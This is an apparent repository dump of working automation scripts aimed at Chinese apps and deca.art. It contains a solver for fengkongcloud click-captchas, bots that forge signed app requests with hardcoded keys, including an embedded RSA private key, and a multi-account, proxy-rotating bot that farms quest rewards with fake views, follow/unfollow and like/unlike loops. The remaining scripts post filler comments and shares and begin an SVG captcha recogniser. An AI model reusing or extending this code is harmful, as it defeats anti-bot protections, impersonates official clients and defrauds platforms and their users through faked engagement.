= self.length - (count % self.length) 26 | entext = text + ("\x00" * add) 27 | return entext 28 | 29 | def encrypt(self, encrData): 30 | res = self.des.encrypt(self.pad(encrData).encode("utf8")) 31 | msg = base64.b64encode(res).decode("utf8") 32 | return msg 33 | 34 | def decrypt(self, decrData): 35 | res = base64.decodebytes(decrData.encode("utf8")) 36 | msg = self.des.decrypt(res).decode("utf8") 37 | return self.unpad(msg) 38 | 39 | 40 | def get_ua(): 41 | first_num = random.randint(55, 62) 42 | third_num = random.randint(0, 3200) 43 | fourth_num = random.randint(0, 140) 44 | os_type = ['(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(Macintosh; Intel Mac OS X 10_15_3)', '(Macintosh; Intel Mac OS X 10_12_6)'] 45 | chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num) 46 | ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36', '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']) 47 | return ua 48 | 49 | 50 | def randStr(code_len=18): 51 | a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' 52 | b = random.choices(a, k=code_len) 53 | c = "".join(_ for _ in b) 54 | return c 55 | 56 | 57 | def custom_time(timestamp): 58 | time_local = time.localtime(timestamp) 59 | dt = time.strftime("%Y%m%d%H%M%S", time_local) 60 | return dt 61 | 62 | 63 | def randchioce(a, b): 64 | c = random.choice(a) 65 | if c in b: 66 | return randchioce(a, b) 67 | else: 68 | return c 69 | 70 | 71 | def get_yz(): 72 | http = requests.Session() 73 | tt = int(time.time()*1000)-6000 74 | captchaUuid = custom_time(tt/1000)+randStr(18) 75 | 76 | res = http.get(f'https://captcha.fengkongcloud.cn/ca/v1/register?sdkver=1.1.3&callback=sm_{tt}&captchaUuid={captchaUuid}'+'&organization=dLmNYoSLfTcetGyhtYyP&appId=default&lang=zh-cn&model=select&channel=DEFAULT&data={}&rversion=1.0.4', headers={"user-agent": get_ua()}).text[17:-1] 77 | res = json.loads(res) 78 | rid = res["detail"]["rid"] 79 | 80 | order = res["detail"]["order"] 81 | # print(order) 82 | 83 | bgparam = res["detail"]["bg"] 84 | bghost = res["detail"]["domains"][0] 85 | bgurl = "https://" + bghost + bgparam 86 | # print(bgurl) 87 | 88 | bgContent = requests.get(bgurl).content 89 | poses = DET.detection(bgContent) 90 | 91 | zx = [] 92 | zx2 = {} 93 | for i in poses: 94 | img_byte = BytesIO() 95 | img = Image.open(BytesIO(bgContent)).crop((i[0], i[1], i[2], i[3])) 96 | img.save(img_byte, 'png') 97 | img.close() 98 | word = OCR.classification(img_byte.getvalue()) 99 | x = (i[2]-i[0])/2+i[0] 100 | y = (i[3]-i[1])/2+i[1] 101 | zx.append([float(f'{x/600:.16f}')+0.0000000007902019, float(f'{y/300:.16f}')+0.0000000007902019]) 102 | zx2[word] = [float(f'{x/600:.16f}')+0.0000000007902019, float(f'{y/300:.16f}')+0.0000000007902019] 103 | 104 | zx3 = [0, 0, 0, 0] 105 | 106 | for o in order: 107 | if o in zx2: 108 | zx3[order.index(o)] = zx2[o] 109 | 110 | for i in range(len(zx3)): 111 | if zx3[i] == 0: 112 | zx3[i] = randchioce(zx, zx3) 113 | tt += random.randint(600, 1500) 114 | zx3[i].append(tt) 115 | 116 | # print("zx1", zx) 117 | # print("zx2", zx2) 118 | # print("zx3", zx3) 119 | 120 | zx3 = str(zx3).replace(" ", "") 121 | data = { 122 | "callback": f"sm_{int(time.time()*1000)}", 123 | "protocol": "169", 124 | "wy": "gkk+/9hsB2E=", 125 | "jz": "mvmW7bXEYrQ=", 126 | "rid": rid, 127 | "sg": sg.encrypt(zx3), 128 | "cp": "GThsaevbQos=", 129 | "dq": "Zs1wbSzhjeY=", 130 | "act.os": "web_pc", 131 | "captchaUuid": captchaUuid, 132 | "ostype": "web", 133 | "sdkver": "1.1.3", 134 | "dn": "uWvGbfvj3jU=", 135 | "rversion": "1.0.4", 136 | "ws": "cqyNf5Ax/1w=", 137 | "pp": "TUEu8tSCGBg=", 138 | "oi": "13iQnFToWVI=", 139 | "organization": "dLmNYoSLfTcetGyhtYyP", 140 | "bb": bb.encrypt(zx3), 141 | "wx": "EV3QVqPr880=", 142 | "qm": "vSI4rj9MfkA=" 143 | } 144 | res = http.get("https://captcha.fengkongcloud.cn/ca/v2/fverify", params=data, headers={"user-agent": get_ua()}).text[17:-1] 145 | res = json.loads(res) 146 | http.close() 147 | print(rid, res["riskLevel"]) 148 | 149 | 150 | if __name__ == '__main__': 151 | DET = DdddOcr(det=True, show_ad=False) 152 | OCR = DdddOcr(beta=True, show_ad=False) 153 | sg = newDES("c762fb99") 154 | bb = newDES("a999da37") 155 | res = get_yz() 156 | print(res) 157 | -------------------------------------------------------------------------------- /长安汽车/index2.js: -------------------------------------------------------------------------------- 1 | const tools = require("./tools") 2 | 3 | const tokens = [ 4 | "", 5 | "" 6 | ] 7 | 8 | 9 | const tasks = [{ 10 | "enable": true, 11 | "num": 1, 12 | "name": "签到", 13 | "url": "https://api.uni.changan.com.cn/user/signIn", 14 | "data": '{}' 15 | }, { 16 | "enable": true, 17 | "num": 7, 18 | "name": "分享帖子", 19 | "url": "https://api.uni.changan.com.cn/con/share/callback", 20 | "data": '{"bizId":"70047725","content":"{\\"bizId\\":\\"70047725\\",\\"shareDesc\\":\\"出口一辆#国产汽车 到#非洲 究竟要花多少钱。#中国制造 @\\",\\"shareImg\\":\\"base/2022/02/15/9d716aad18b6414f8f3238ab084c3c1aandroidios650_313.png\\",\\"shareTitle\\":\\"我发现一篇有意思的帖子,分享给大家\\",\\"shareUrl\\":\\"https://cir.uni.changan.com.cn/quanzi/?from=singlemessage&t=1644897367#/postDetailVideo?postsId=70047725\\",\\"type\\":\\"2\\",\\"wxminiprogramCode\\":\\"\\"}","device":"","shareTime":"1644897370347","shareTo":"2","type":"2","userId":"3517492"}' 21 | }, { 22 | "enable": true, 23 | "num": 7, 24 | "name": "分享资讯", 25 | "url": "https://api.uni.changan.com.cn/con/share/callback", 26 | "data": '{"bizId":"1107","content":"{\\"bizId\\":\\"1107\\",\\"shareDesc\\":\\"自在而活,用热爱诠释多彩人生\\",\\"shareImg\\":\\"base/2022/02/14/7d42656d84e3465e9e560357a1cec05aandroidios650_325.png\\",\\"shareTitle\\":\\"自在而活,用热爱诠释多彩人生\\",\\"shareUrl\\":\\"https://cir.uni.changan.com.cn/quanzi/?from=singlemessage&t=1644901847#/informationDetail?artId=1107\\",\\"type\\":\\"1\\",\\"wxminiprogramCode\\":\\"\\"}","device":"","shareTime":"1644901850492","shareTo":"2","type":"1","userId":"3517492"}' 27 | }, { 28 | "enable": false, 29 | "num": 7, //需要自定义评论内容和帖子id 30 | "name": "评论回复", 31 | "url": "https://api.uni.changan.com.cn/con/article/addComment", 32 | "data": '{"bizId":"oo11oo","content":"oo22oo","groupId":"0","phoneModel":"Mi 10 Pro","pid":"0"}' 33 | }, { 34 | "enable": false, 35 | "num": 3, 36 | "name": "发帖", //需要自定义发帖内容 37 | "url": "https://api.uni.changan.com.cn/con/posts/addPosts", 38 | "data": '{"actionCode":"community_post","content":"oo22oo","imgUrl":["temp/2022/02/15/1644898769798androidios1920_1140.jpg"],"isPublish":2,"pics":"temp/2022/02/15/1644898769798androidios1920_1140.jpg","plate":2,"title":"oo11oo","type":2}' 39 | }, { 40 | "enable": false, 41 | "num": 2, 42 | "name": "发帖带话题", //需要自定义发帖内容 43 | "url": "https://api.uni.changan.com.cn/con/posts/addPosts", 44 | "data": '{"actionCode":"community_post","content":"oo22oo","imgUrl":["temp/2022/02/15/1644899328649androidios1920_1140.jpg"],"isPublish":2,"pics":"temp/2022/02/15/1644899328649androidios1920_1140.jpg","plate":2,"title":"oo11oo","topicId":"243","type":2}' 45 | }, { 46 | "enable": false, 47 | "num": 10, 48 | "name": "点赞", 49 | "url": "https://api.uni.changan.com.cn/con/article/actionLike", 50 | "data": '{"artId":"oo11oo"}' 51 | }] 52 | 53 | 54 | async function main() { 55 | for (to in tokens) { 56 | for (ta in tasks) { 57 | console.log(tasks[ta].name) 58 | if (tasks[ta].enable) { 59 | var num = tasks[ta].num 60 | for (let i = 0; i < num; i++) { 61 | await tools.sleep(2000) 62 | await begin(tasks[ta], tokens[to]) 63 | } 64 | } 65 | } 66 | } 67 | } 68 | async function begin(task, token) { 69 | var dd = task.data 70 | var options_yiyan = { 71 | uri: "http://v1.hitokoto.cn", 72 | method: "GET" 73 | } 74 | if (task.name == "评论回复") { 75 | let content = await tools.http(options_yiyan) 76 | dd = dd.replace("oo11oo", tools.random(800, 1107)).replace("oo22oo", content.hitokoto) 77 | } 78 | if (task.name == "发帖" || task.name == "发帖带话题") { 79 | let content1 = await tools.http(options_yiyan) 80 | let content2 = await tools.http(options_yiyan) 81 | dd = dd.replace("oo11oo", content1.hitokoto).replace("oo22oo", content2.hitokoto) 82 | } 83 | if (task.name == "点赞") { 84 | dd = dd.replace("oo11oo", tools.random(800, 1107)) 85 | } 86 | 87 | var options_encrypt = { 88 | uri: "http://127.0.0.1:9999/uni", 89 | method: "POST", 90 | json: true, 91 | body: { 92 | "data": dd 93 | } 94 | } 95 | var res_encrypt = await tools.http(options_encrypt) 96 | // console.log(JSON.stringify(res_encrypt)) 97 | var data = { 98 | "paramEncr": res_encrypt.paramEncr 99 | } 100 | var headers = { 101 | "appVersion": "1.4.5", 102 | "os": "Android", 103 | "loginChannel": "xiaomi", 104 | "sign": res_encrypt.sign, 105 | "operatorName": "not found", 106 | "networkState": "WIFI", 107 | "token": token, 108 | "osVersion": "11", 109 | "fingerprint": "", 110 | "seccode": res_encrypt.seccode, 111 | "model": "Mi 10 Pro", 112 | "brand": "Xiaomi", 113 | "timestamp": res_encrypt.tt, 114 | "codelab": "codelabs", 115 | "body": "", 116 | "User-Agent": "okhttp/4.8.0" 117 | } 118 | var options_task = { 119 | uri: task.url, 120 | method: "POST", 121 | json: true, 122 | body: data, 123 | headers: headers 124 | } 125 | var res = await tools.http(options_task) 126 | console.log(JSON.stringify(res)) 127 | } 128 | 129 | module.exports = main -------------------------------------------------------------------------------- /麻吉/tools.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Cipher import PKCS1_v1_5 as Cipher_PKC 3 | from Crypto.PublicKey import RSA 4 | from io import BytesIO 5 | 6 | import base64 7 | import binascii 8 | import hashlib 9 | import time 10 | import requests 11 | 12 | AESKEY = "" 13 | 14 | PUBLIC_KEY1 = """-----BEGIN PUBLIC KEY----- 15 | MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCvLTRi+qX4uSoxAaj2dOnoK8RW 16 | WLEmRCa963FPaZvvVE6y3xT0xszOvY0DzIJKkuo2uDAjC0XcabY/tIaelw0PF3gx 17 | sYQtaAc4jtokOgIEg/uT8kXGQoMy4hmz5FIiiGqSnA7o8C96YvOhGOpAWyhSWYW8 18 | skXDuM3rV2pCgW31lwIDAQAB 19 | -----END PUBLIC KEY-----""" 20 | 21 | PRIVATE_KEY1 = """-----BEGIN PRIVATE KEY----- 22 | MIICeQIBADANBgkqhkiG9w0BAQEFAASCAmMwggJfAgEAAoGBAJpLLhh0GJWEVyJt 23 | SHb4lA5FRdJYM/wISNGL53Ad3FGAc7elG8h8O9MrtfECe8NinSEZaVeqCnhIAV09 24 | BRI/3QnGKTu4Cx+mxAnzr8XtyHPjt8jY5UAhu/zlwIpNKM7e0uNPEsbInTaD7bFX 25 | k1TC9FWjFR9PHOie9PRZUmFRhAHhAgMBAAECgYEAlobb/K1ewpeu7n5RYQgYYWfB 26 | u3mjlbF7YTutWds38ydvPW3OEiTptJYDVZLHrZGKnB0PgZ/5wOj2s8DxLqGxgOsF 27 | AwKvbG90tz9Tbsr3Sr8MbIqohmmzJ4EEsEeW2ostXfACKH01IWAT5c2YRuld+YqM 28 | IJLfn5HZQqPpmkyZUZUCQQDsNnaQNjovcojp6S46ruwY1vm5yxexq68w04RUXcPw 29 | cM3o/zqv7SmNX+PHF1bDYgQ48+6LpZGzGyhEoQCQy8EDAkEApzf6Z7yetoIKgFd8 30 | mnSDXeTqLQDru6v98pHdSWRWSgu0wxl7rMA/jVRJbq7IvkqwGQHSuA3cp7E+Sd9M 31 | XSrSSwJBAOacmY5b0tyl1nN/uymBw3DQ2MgCNqS4N/bUWlo/nN8uUmmKXNKLGUkz 32 | 995Us9lW5UZxKFBgGeohtmOiSDoVIt8CQQCAsX5QNERZ5f87AxnsrVsk+jaX6CuE 33 | xjutYkFSaJxYZGX7+TLLozHGDWZufqoUedrJhDOuX0zA6pIrvGVDFt+9AkEAzGi0 34 | flkIrJyCqG0A6s37HDiiyLGvC9SFNhQWQzbPR+eoguQ08WhKGHMIM3ua+DxolfXt 35 | YzY4LW5voFXOTwmpRQ== 36 | -----END PRIVATE KEY-----""" 37 | 38 | 39 | class AESUtil(object): 40 | __BLOCK_SIZE_16 = BLOCK_SIZE_16 = AES.block_size 41 | 42 | def __init__(self, key, iv): 43 | self.key = key.encode("utf8") 44 | self.iv = iv.encode("utf8") 45 | 46 | def encryt(self, str): 47 | cipher = AES.new(self.key, AES.MODE_CBC, self.iv) 48 | x = AESUtil.__BLOCK_SIZE_16 - (len(str) % AESUtil.__BLOCK_SIZE_16) 49 | if x != 0: 50 | str = str + chr(x)*x 51 | msg = cipher.encrypt(str.encode("utf8")) 52 | # msg = base64.b64encode(msg).decode("utf8") 53 | msg = binascii.b2a_hex(msg).upper().decode("utf8") 54 | return msg 55 | 56 | def decrypt(self, enStr): 57 | cipher = AES.new(self.key, AES.MODE_CBC, self.iv) 58 | decryptByts = base64.b64decode(enStr) 59 | # decryptByts = binascii.a2b_hex(enStr) 60 | msg = cipher.decrypt(decryptByts).decode("utf8") 61 | paddingLen = ord(msg[len(msg)-1]) 62 | return msg[0:-paddingLen] 63 | 64 | 65 | class RSAUtil(object): 66 | def __init__(self, PUBLIC_KEY): 67 | self.rsa_key = RSA.import_key(PUBLIC_KEY) 68 | self.cipher_rsa = Cipher_PKC.new(self.rsa_key) 69 | self._decrypt_length = 1024 // 8 70 | self._encrypt_length = 1024 // 8 - 11 71 | 72 | def encrypt(self, text: str) -> str: 73 | ret = BytesIO() 74 | text_bytes = BytesIO(text.encode("utf-8")) 75 | encrypt_segment = text_bytes.read(self._encrypt_length) 76 | while encrypt_segment: 77 | ret.write(self.cipher_rsa.encrypt(encrypt_segment)) 78 | encrypt_segment = text_bytes.read(self._encrypt_length) 79 | return base64.b64encode(ret.getvalue()).decode('utf-8') 80 | 81 | def decrypt(self, text: str, isfd=True) -> str: 82 | if isfd: 83 | ret = BytesIO() 84 | text_bytes = base64.b64decode(text.encode("utf-8")) 85 | text_byte_fragments = self._text_bytes_split(text_bytes, self._decrypt_length) 86 | for fragment in text_byte_fragments: 87 | ret.write(self.cipher_rsa.decrypt(fragment)) 88 | return ret.getvalue().decode() 89 | else: 90 | base64_text = base64.b64decode(text) 91 | en_data = self.cipher_rsa.decrypt(base64_text, None) 92 | return en_data.decode() 93 | 94 | def _text_bytes_split(self, text_bytes: bytes, per_size: int) -> list: 95 | max_legth = len(text_bytes) 96 | ret = list() 97 | current_index = 0 98 | while current_index < max_legth: 99 | ret.append(text_bytes[current_index: current_index + per_size]) 100 | current_index += per_size 101 | return ret 102 | 103 | 104 | def md5(str): 105 | return hashlib.md5(bytes(str, encoding="utf8")).hexdigest() 106 | 107 | 108 | def ec(func): 109 | def warp(*args): 110 | try: 111 | return func(*args) 112 | except BaseException as e: 113 | print(*args, e) 114 | time.sleep(1) 115 | return warp(*args) 116 | return warp 117 | 118 | 119 | def notice(title, msg, group=None, level="active"): 120 | data = {"level": level} 121 | if group is not None: 122 | data["group"] = group 123 | requests.post("https://api.day.app/x", json={"title": title, "body": msg}) 124 | 125 | 126 | def getAESkey(): 127 | res = requests.get("https://api.majihuyu.com/api/sale/homeAdvertise?type=1&whetherStatus=true") 128 | secretKey = res.headers["secretKey"] 129 | secretKey = rsa_util2.decrypt(secretKey, isfd=False) 130 | print("更新AESKEY:", secretKey) 131 | return secretKey 132 | 133 | 134 | # 用于请求加密 135 | rsa_util = RSAUtil(PUBLIC_KEY1) 136 | # 专用于获取aeskey解密 137 | rsa_util2 = RSAUtil(PRIVATE_KEY1) 138 | # 更新aeskey,该key由服务端动态生成,建议5分钟更新一次key 139 | AESKEY = getAESkey() 140 | # 用于响应解密 141 | aes_util = AESUtil(AESKEY, AESKEY) 142 | -------------------------------------------------------------------------------- /新华社/login.js: -------------------------------------------------------------------------------- 1 | const http = require('request-promise-native'); 2 | const sm3 = require('sm3') 3 | 4 | const phones = [ 5 | ["账号", "密码"], 6 | ] 7 | 8 | const config = [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 20, 1, 1, 1, 1, 1, 1, 1, 1] 9 | 10 | async function login(phone, pwd) { 11 | var tt = new Date().getTime().toString() 12 | var data = '{"account":"' + phone + '","appKey":"","countrycode":"86","pwd":"' + md5(pwd) + '","address":"","city":"","clientId":"389b0d57b7cfb6f1272ac9fb22e67b73","clientLable":"00000000-572f-9144-0000-00006ffb1bec","clientLatitude":"0.0","clientLongitude":"0.0","clientModel":"Mi 8","clientType":"2","province":""}' 13 | var sign = sm3('Key=7370168678ecc0efea541d47a443d26c4795c01a8b44739813e0986c85f90319&Timestamp=' + tt + '&DeviceAccessId=0d752909c795b128a4093bd3cddc7c3a37e9955a9d87&DeviceNet=wifi&Longitude=0.0&Latitude=0.0&Token=&Request=' + data) 14 | var url = "https://mapi.xinhuaxmt.com/905/u/userapi/user/login" 15 | var headers = { 16 | "Device-Net": "wifi", 17 | "Device-Access-Id": "0d752909c795b128a4093bd3cddc7c3a37e9955a9d87", 18 | "Latitude": "0.0", 19 | "Timestamp": tt, 20 | "Longitude": "0.0", 21 | "Signature": sign, 22 | "User-Agent": "okhttp/4.9.0" 23 | } 24 | var options = { 25 | uri: url, 26 | method: "POST", 27 | body: JSON.parse(data), 28 | json: true, 29 | headers: headers 30 | } 31 | var res = await http(options) 32 | if (res.code == 0) { 33 | return res.data.token 34 | } else { 35 | return null 36 | } 37 | } 38 | 39 | async function main() { 40 | var tokens = [] 41 | for (i in phones) { 42 | var token = await login(phones[i][0], phones[i][1]) 43 | if (token != null) { 44 | tokens.push(token) 45 | } 46 | } 47 | console.log(tokens) 48 | } 49 | 50 | main() 51 | 52 | function md5(str) { return v(h(f(m(str), 8 * str.length))) } function v(t) { var e, n, r = "0123456789abcdef", i = ""; for (n = 0; n < t.length; n += 1)e = t.charCodeAt(n), i += r.charAt(e >>> 4 & 15) + r.charAt(15 & e); return i } function h(t) { var e, n = "", r = 32 * t.length; for (e = 0; e < r; e += 8)n += String.fromCharCode(t[e >> 5] >>> e % 32 & 255); return n } function f(t, e) { var n, r, i, o, s; t[e >> 5] |= 128 << e % 32, t[14 + (e + 64 >>> 9 << 4)] = e; var f = 1732584193, h = -271733879, m = -1732584194, p = 271733878; for (n = 0; n < t.length; n += 16)r = f, i = h, o = m, s = p, f = u(f, h, m, p, t[n], 7, -680876936), p = u(p, f, h, m, t[n + 1], 12, -389564586), m = u(m, p, f, h, t[n + 2], 17, 606105819), h = u(h, m, p, f, t[n + 3], 22, -1044525330), f = u(f, h, m, p, t[n + 4], 7, -176418897), p = u(p, f, h, m, t[n + 5], 12, 1200080426), m = u(m, p, f, h, t[n + 6], 17, -1473231341), h = u(h, m, p, f, t[n + 7], 22, -45705983), f = u(f, h, m, p, t[n + 8], 7, 1770035416), p = u(p, f, h, m, t[n + 9], 12, -1958414417), m = u(m, p, f, h, t[n + 10], 17, -42063), h = u(h, m, p, f, t[n + 11], 22, -1990404162), f = u(f, h, m, p, t[n + 12], 7, 1804603682), p = u(p, f, h, m, t[n + 13], 12, -40341101), m = u(m, p, f, h, t[n + 14], 17, -1502002290), h = u(h, m, p, f, t[n + 15], 22, 1236535329), f = c(f, h, m, p, t[n + 1], 5, -165796510), p = c(p, f, h, m, t[n + 6], 9, -1069501632), m = c(m, p, f, h, t[n + 11], 14, 643717713), h = c(h, m, p, f, t[n], 20, -373897302), f = c(f, h, m, p, t[n + 5], 5, -701558691), p = c(p, f, h, m, t[n + 10], 9, 38016083), m = c(m, p, f, h, t[n + 15], 14, -660478335), h = c(h, m, p, f, t[n + 4], 20, -405537848), f = c(f, h, m, p, t[n + 9], 5, 568446438), p = c(p, f, h, m, t[n + 14], 9, -1019803690), m = c(m, p, f, h, t[n + 3], 14, -187363961), h = c(h, m, p, f, t[n + 8], 20, 1163531501), f = c(f, h, m, p, t[n + 13], 5, -1444681467), p = c(p, f, h, m, t[n + 2], 9, -51403784), m = c(m, p, f, h, t[n + 7], 14, 1735328473), h = c(h, m, p, f, t[n + 12], 20, -1926607734), f = l(f, h, m, p, t[n + 5], 4, -378558), p = l(p, f, h, m, t[n + 8], 11, -2022574463), m = l(m, p, f, h, t[n + 11], 16, 1839030562), h = l(h, m, p, f, t[n + 14], 23, -35309556), f = l(f, h, m, p, t[n + 1], 4, -1530992060), p = l(p, f, h, m, t[n + 4], 11, 1272893353), m = l(m, p, f, h, t[n + 7], 16, -155497632), h = l(h, m, p, f, t[n + 10], 23, -1094730640), f = l(f, h, m, p, t[n + 13], 4, 681279174), p = l(p, f, h, m, t[n], 11, -358537222), m = l(m, p, f, h, t[n + 3], 16, -722521979), h = l(h, m, p, f, t[n + 6], 23, 76029189), f = l(f, h, m, p, t[n + 9], 4, -640364487), p = l(p, f, h, m, t[n + 12], 11, -421815835), m = l(m, p, f, h, t[n + 15], 16, 530742520), h = l(h, m, p, f, t[n + 2], 23, -995338651), f = d(f, h, m, p, t[n], 6, -198630844), p = d(p, f, h, m, t[n + 7], 10, 1126891415), m = d(m, p, f, h, t[n + 14], 15, -1416354905), h = d(h, m, p, f, t[n + 5], 21, -57434055), f = d(f, h, m, p, t[n + 12], 6, 1700485571), p = d(p, f, h, m, t[n + 3], 10, -1894986606), m = d(m, p, f, h, t[n + 10], 15, -1051523), h = d(h, m, p, f, t[n + 1], 21, -2054922799), f = d(f, h, m, p, t[n + 8], 6, 1873313359), p = d(p, f, h, m, t[n + 15], 10, -30611744), m = d(m, p, f, h, t[n + 6], 15, -1560198380), h = d(h, m, p, f, t[n + 13], 21, 1309151649), f = d(f, h, m, p, t[n + 4], 6, -145523070), p = d(p, f, h, m, t[n + 11], 10, -1120210379), m = d(m, p, f, h, t[n + 2], 15, 718787259), h = d(h, m, p, f, t[n + 9], 21, -343485551), f = a(f, r), h = a(h, i), m = a(m, o), p = a(p, s); return [f, h, m, p] } function a(t, e) { var n = (65535 & t) + (65535 & e), r = (t >> 16) + (e >> 16) + (n >> 16); return r << 16 | 65535 & n } function o(t, e) { return t << e | t >>> 32 - e } function s(t, e, n, r, i, s) { return a(o(a(a(e, t), a(r, s)), i), n) } function u(t, e, n, r, i, a, o) { return s(e & n | ~e & r, t, e, i, a, o) } function c(t, e, n, r, i, a, o) { return s(e & r | n & ~r, t, e, i, a, o) } function l(t, e, n, r, i, a, o) { return s(e ^ n ^ r, t, e, i, a, o) } function d(t, e, n, r, i, a, o) { return s(n ^ (e | ~r), t, e, i, a, o) } function m(t) { var e, n = []; for (n[(t.length >> 2) - 1] = void 0, e = 0; e < n.length; e += 1)n[e] = 0; var r = 8 * t.length; for (e = 0; e < r; e += 8)n[e >> 5] |= (255 & t.charCodeAt(e / 8)) << e % 32; return n }; -------------------------------------------------------------------------------- /deca/task.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import random 3 | import time 4 | import json 5 | 6 | import requests as http 7 | 8 | 9 | def randStr(length, text=None): 10 | return "".join( 11 | random.sample( 12 | "abcdefghijklmnopqrstuvwxyz123456789" if text is None else text, length 13 | ) 14 | ) 15 | 16 | 17 | def getHeaders(ck): 18 | headers = { 19 | "cookie": f"__Secure-next-auth.session-token={ck}", 20 | "user-agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 21 | } 22 | return headers 23 | 24 | 25 | def getIp(): 26 | orderno = "" 27 | secret = "" 28 | ip = "" 29 | port = "" 30 | timestamp = str(int(time.time())) 31 | txt = ( 32 | "orderno=" + orderno + "," + "secret=" + secret + "," + "timestamp=" + timestamp 33 | ) 34 | auth = f"sign={hashlib.md5(txt.encode()).hexdigest().upper()}&orderno={orderno}×tamp={timestamp}&change=true" 35 | return { 36 | "http": "http://" + ip + ":" + port, 37 | "https": "http://" + ip + ":" + port, 38 | }, {"Proxy-Authorization": auth} 39 | 40 | 41 | def favorites(hlid, small_ck): 42 | data = {"json": {"deviceId": deviceId, "recaptchaToken": None}, "meta": {"values": {"recaptchaToken": ["undefined"]}}} 43 | headers = getHeaders(small_ck) 44 | res = http.post(f"https://deca.art/api/web/gallery/{hlid}/view", json=data, headers=headers, timeout=6).text 45 | print(f"invite ->> {hlid} ->>", res) 46 | 47 | 48 | def getDXP(ck): 49 | headers = getHeaders(ck) 50 | res = http.get("https://deca.art/api/web/user/experience", headers=headers).json() 51 | print("dxp ->>", res["json"]["status"]["availableExperience"]) 52 | # if len(res["json"]["status"]["activeQuests"]) == 0: 53 | # print("没有任务") 54 | return res["json"]["status"] 55 | 56 | 57 | def getName(ck): 58 | headers = getHeaders(ck) 59 | data = { 60 | "query": "\n query User {\n me {\n id\n slug\n referralCode\n includePublic\n showListings\n following\n acceptedTerms\n validBadges\n ownedDecagons {\n ...FullBareAsset\n }\n octagonLevel\n addresses\n username\n pfp {\n ...FullBareAsset\n }\n discordId\n twitterId\n }\n}\n \n fragment FullBareAsset on BareAsset {\n id\n provider\n contract\n tokenId\n mediaUrl\n previewStorageKey\n previewMimeType\n previewAspectRatio\n storageKey\n mimeType\n tokenUrl\n name\n multimediaUrl\n aspectRatio\n metadata\n}\n " 61 | } 62 | res = http.post("https://deca.art/api/graphql", json=data, headers=headers).json() 63 | name = res["data"]["me"]["username"] 64 | meid = res["data"]["me"]["id"] 65 | return name, meid 66 | 67 | 68 | def getGalleryList(num=30, cursor=None): 69 | gallList = [] 70 | cursor = "" if cursor is None else cursor 71 | while len(gallList) <= num: 72 | res = http.get("https://deca.art/api/web/gallery?mode=global&cursor=" + cursor).json()["json"] 73 | cursor = res["nextCursor"] 74 | for x in res["galleries"]: 75 | if x not in gallList and len(gallList) <= num: 76 | # print(x) 77 | gallList.append(x) 78 | return gallList 79 | 80 | 81 | def claim(id, ck, title): 82 | headers = getHeaders(ck) 83 | res = http.post(f"https://deca.art/api/web/quest/{id}/claim", headers=headers) 84 | print(title, "->>", res.text) 85 | 86 | 87 | def follow(id, ck): 88 | url = f"https://deca.art/api/web/user/{id}/followers" 89 | data = {"json": {"deviceId": deviceId, "recaptchaToken": None}, "meta": {"values": {"recaptchaToken": ["undefined"]}}} 90 | headers = getHeaders(ck) 91 | res = http.post(url=url, headers=headers, json=data) 92 | print("follow ->>", res.text) 93 | time.sleep(0.5) 94 | res = http.delete(url=url, headers=headers, json=data) 95 | print("defollow ->>", res.text) 96 | 97 | 98 | def like(id, ck): 99 | url = f"https://deca.art/api/web/gallery/{id}/reactions" 100 | data = {"json": {"type": "LIKE", "deviceId": deviceId, "recaptchaToken": None}, "meta": {"values": {"recaptchaToken": ["undefined"]}}} 101 | headers = getHeaders(ck) 102 | res = http.post(url, headers=headers, json=data) 103 | print("like ->>", res.text) 104 | time.sleep(0.5) 105 | res = http.delete(url, headers=headers, json=data) 106 | print("delike ->>", res.text) 107 | 108 | 109 | def task(): 110 | for quest in getDXP(token)["activeQuests"]: 111 | actions = quest["targetActions"]-quest["currentActions"] 112 | print("需要的次数", actions) 113 | claim(quest["id"], token, quest["title"]) if actions == 0 else None 114 | galleryList = getGalleryList(actions + 1) 115 | if quest["title"] == "View galleries": # 浏览别人的gallery 116 | if actions > 0: 117 | print("浏览别人的gallery") 118 | for galle in galleryList: 119 | favorites(galle["id"], token) 120 | time.sleep(1) 121 | claim(quest["id"], token, quest["title"]) 122 | elif (quest["title"] == "React to galleries" and True): # 点赞别人的gallery 123 | if actions > 0: 124 | print("点赞别人的gallery") 125 | for galle in galleryList: 126 | like(galle["id"], token) 127 | time.sleep(10) 128 | claim(quest["id"], token, quest["title"]) 129 | elif quest["title"] == "Follow users": # 关注用户 130 | if actions > 0: 131 | print("关注用户") 132 | for galle in galleryList: 133 | follow(galle["user"]["id"], token) 134 | time.sleep(1) 135 | claim(quest["id"], token, quest["title"]) 136 | 137 | 138 | """ 139 | 新号.json 格式 140 | { 141 | "私钥": [ 142 | "decaToken", 143 | "地址", 144 | "私钥", 145 | "设备id" 146 | ] 147 | } 148 | """ 149 | 150 | if __name__ == "__main__": 151 | zh_json = json.loads(open("./deca/新号.json", "r").read()) 152 | for i in zh_json: 153 | token = zh_json[i][0] 154 | deviceId = zh_json[i][-1] 155 | task() 156 | time.sleep(60*10) # 每10分钟检查一次 157 | -------------------------------------------------------------------------------- /svg识别验证码.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 识别验证码 3 | * */ 4 | 5 | // 以svg path 的长度为维度,看看是否有多个字母有相同的长度 6 | // 15 个数字可解析为两种字母,涉及的字母: 4 C I J L l M N n r R t W x X y z 7 | const lengthMap = { 8 | 986: ['I', 'l'], 9 | 998: ['1'], 10 | 1068: ['I', 'l'], 11 | 1081: ['1'], 12 | 1082: ['v'], 13 | 1130: ['Y'], 14 | 1134: ['Y'], 15 | 1172: ['v'], 16 | 1224: ['Y'], 17 | 1274: ['L', 'y'], 18 | 1298: ['V'], 19 | 1311: ['V'], 20 | 1360: ['i'], 21 | 1380: ['L', 'y'], 22 | 1406: ['V'], 